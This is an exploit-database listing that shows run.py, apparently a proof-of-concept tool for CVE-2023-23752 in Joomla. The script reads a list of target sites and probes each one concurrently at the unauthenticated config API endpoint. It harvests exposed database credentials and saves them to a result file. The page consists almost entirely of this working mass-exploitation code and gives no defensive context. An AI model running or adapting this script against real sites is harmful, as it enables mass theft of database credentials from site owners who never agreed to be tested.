Exploit database

GH-8c1829d6a8bae8b128db6a4a5e097001

gibran-abdillah/cve-2023-23752

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-23752

43 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
gibran-abdillah/cve-2023-23752Revision bd7986f3ab21

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

run.py

Python · 1,839 bytes
from extra.parser import validate, parse_url
from extra.requester import Base
from concurrent.futures import ThreadPoolExecutor
from time import strftime
import os 

DIR_RESULT = os.path.join('data', 'result')
FORMAT_RESULT = f"{strftime('%d-%m-%Y')}.txt"

SUCCESS_RESULT = os.path.join(DIR_RESULT, FORMAT_RESULT)

def load_banner():
    read = open('data/banner.txt').read()
    return read 

def write_result(url, result):
    with open(SUCCESS_RESULT, 'a') as file:
        file.write(f'{url} {result}\n')

class JoomlaCVE(Base):
    def __init__(self, web_list: str='', threads: str=''):
        self.web_list = web_list
        self.threads = threads
        self._endpoint = 'api/index.php/v1/config/application?public=true'

    def exploit(self, url: str):
        try:
            full_url = parse_url(url, self._endpoint)
            response = self._session.get(full_url)
            result = validate(response.text)
            if result:
                print('[+] get the database information at : ', url)
                write_result(url, result)
            else:
                print('[-] not vuln : ', url)
        except Exception as e:
            print('[e] at : ', url)

    def start(self):
        with ThreadPoolExecutor(self.threads) as worker:
            list_url = set([_.rstrip() for _ in open(self.web_list, 'r').readlines()])
            cleaned_urls = list(map(self.format_url, list_url))
            
            # start the threads!
            worker.map(self.exploit, cleaned_urls)

    def format_url(self, url):
        if '://' not in url:
            return f'http://{url}'
        return url

def main():
    print(load_banner())
    web_list = input('Web List : ')
    threads = int(input('Threads : '))

    j = JoomlaCVE(web_list, threads)
    j.start()

if __name__ == '__main__':
    main()